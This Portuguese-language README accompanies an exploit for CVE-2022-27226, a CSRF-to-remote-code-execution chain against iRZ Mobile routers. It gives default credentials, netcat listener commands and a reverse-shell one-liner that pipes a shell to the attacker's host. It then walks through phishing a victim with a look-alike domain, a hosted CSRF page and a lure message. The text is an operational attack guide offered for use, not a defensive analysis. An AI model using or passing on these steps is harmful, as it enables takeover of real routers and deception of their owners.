
Exploit para CVE-2022-27226
Exploit para CVE-2022-27226
Cross Site Request Forgery para Execução Remota de Código em Roteadores iRZ Mobile
<--Descoberta da Vulnerabilidade-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--Desenvolvimento do Exploit-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
Um problema de CSRF em roteadores iRZ Mobile até 16/03/2022 permite que um ator de ameaça crie uma entrada de crontab no painel de administração do roteador. O cronjob executará então a entrada no intervalo definido pelo ator, levando à execução remota de código, permitindo que o ator obtenha acesso ao sistema de arquivos. Além disso, se as credenciais padrão do roteador não forem alteradas ou um ator descobrir credenciais válidas, a execução remota de código pode ser alcançada sem interação do usuário.
Iniciar dois listeners netcat antes de tentar capturar um shell é pertinente, pois o crontab, quando executado, repetirá o mesmo cronjob várias vezes e seu shell morrerá no próximo ciclo. Não é possível usar nohup porque o ambiente busybox é bastante restritivo, e alternativamente você poderia modificar o exploit com um intervalo de entrada de crontab diferente, no entanto, a melhor maneira de evitar isso sem se preocupar com o intervalo do crontab é usar vários listeners para a primeira captura do reverse shell.
Descobriu-se que, na maioria dos casos, os roteadores não têm a porta telnet aberta externamente – no entanto, uma vez obtida a execução remota de código, você pode usar telnet para corrigir o TTY na maioria das vezes. Você precisa ter credenciais para fazer isso. Se você estiver usando a cadeia completa de CSRF para RCE, recomendamos que construa um modelo de PoC CSRF mais abrangente que registre o evento de login do usuário ou os cabeçalhos que podem conter o cabeçalho de autorização básica que é traduzido no script.
As credenciais padrão para esses roteadores são geralmente root:root ou admin:admin. Se você tiver credenciais, execute:
python cve.py
Siga as instruções, que são bastante simples, depois inicie dois listeners netcat em duas portas separadas.
nc -lvp 443
nc -lvp 5000
Quando você capturar um reverse shell no primeiro listener, execute novamente o one liner do reverse shell para obter um shell persistente:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
Finalmente, se você tiver credenciais (o que deveria, se estiver usando esta parte do módulo) – tente fazer um pivô para o serviço telnet internamente restrito:
telnet 0.0.0.0
"Mas e se o telnet estiver exposto externamente?" Então faça login no maldito roteador com as credenciais, seu idiota.
As instruções para este módulo são quase as mesmas das instruções de RCE Pós-Autenticada. A grande diferença é que você não tem credenciais.
Antes de tudo, para explorar de forma eficiente, você precisa entender como isso funciona. CSRF requer interação do usuário, ou seja, você precisará fazer engenharia social em alguém. Existem dois cenários possíveis: O usuário está logado quando clica no botão de prova de conceito, ou o usuário não está logado. Se ele já estiver autenticado no roteador, a requisição POST para criar o cronjob será enviada para a API e o usuário verá uma página em branco. Se ele não estiver logado, o usuário receberá um prompt de autenticação básica – e convenientemente, o popup de autenticação básica terá o IP do roteador vítima; se ele inserir suas credenciais, a requisição POST será enviada para a API.
Recomendamos tentar comprar um domínio semelhante se o roteador vítima estiver hospedado em um subdomínio, ou encontrar um provedor com as mesmas faixas de subnet para servidores, se for um alvo de alta prioridade. Refinar o PoC CSRF pode valer a pena para um alvo prioritário.
Execute o script
python cve.py
Siga as instruções; no script, ele então gerará um template CSRF para você. Recomendamos dar a ele um nome um pouco mais discreto.
mv poc.new.html index.html
Hospede o PoC no seu servidor, preferencialmente na mesma porta do roteador vítima.
python3 -m http.server 80
Pegue o link e envie para a vítima, garantindo que você anexe o nome do arquivo PoC ao final da URL:
Oi querido(a), você pode fazer login no roteador, por favor?:
http://seu-ip-nos-estados-unidos-porque-voce-nao-seguiu-meu-conselho/index.html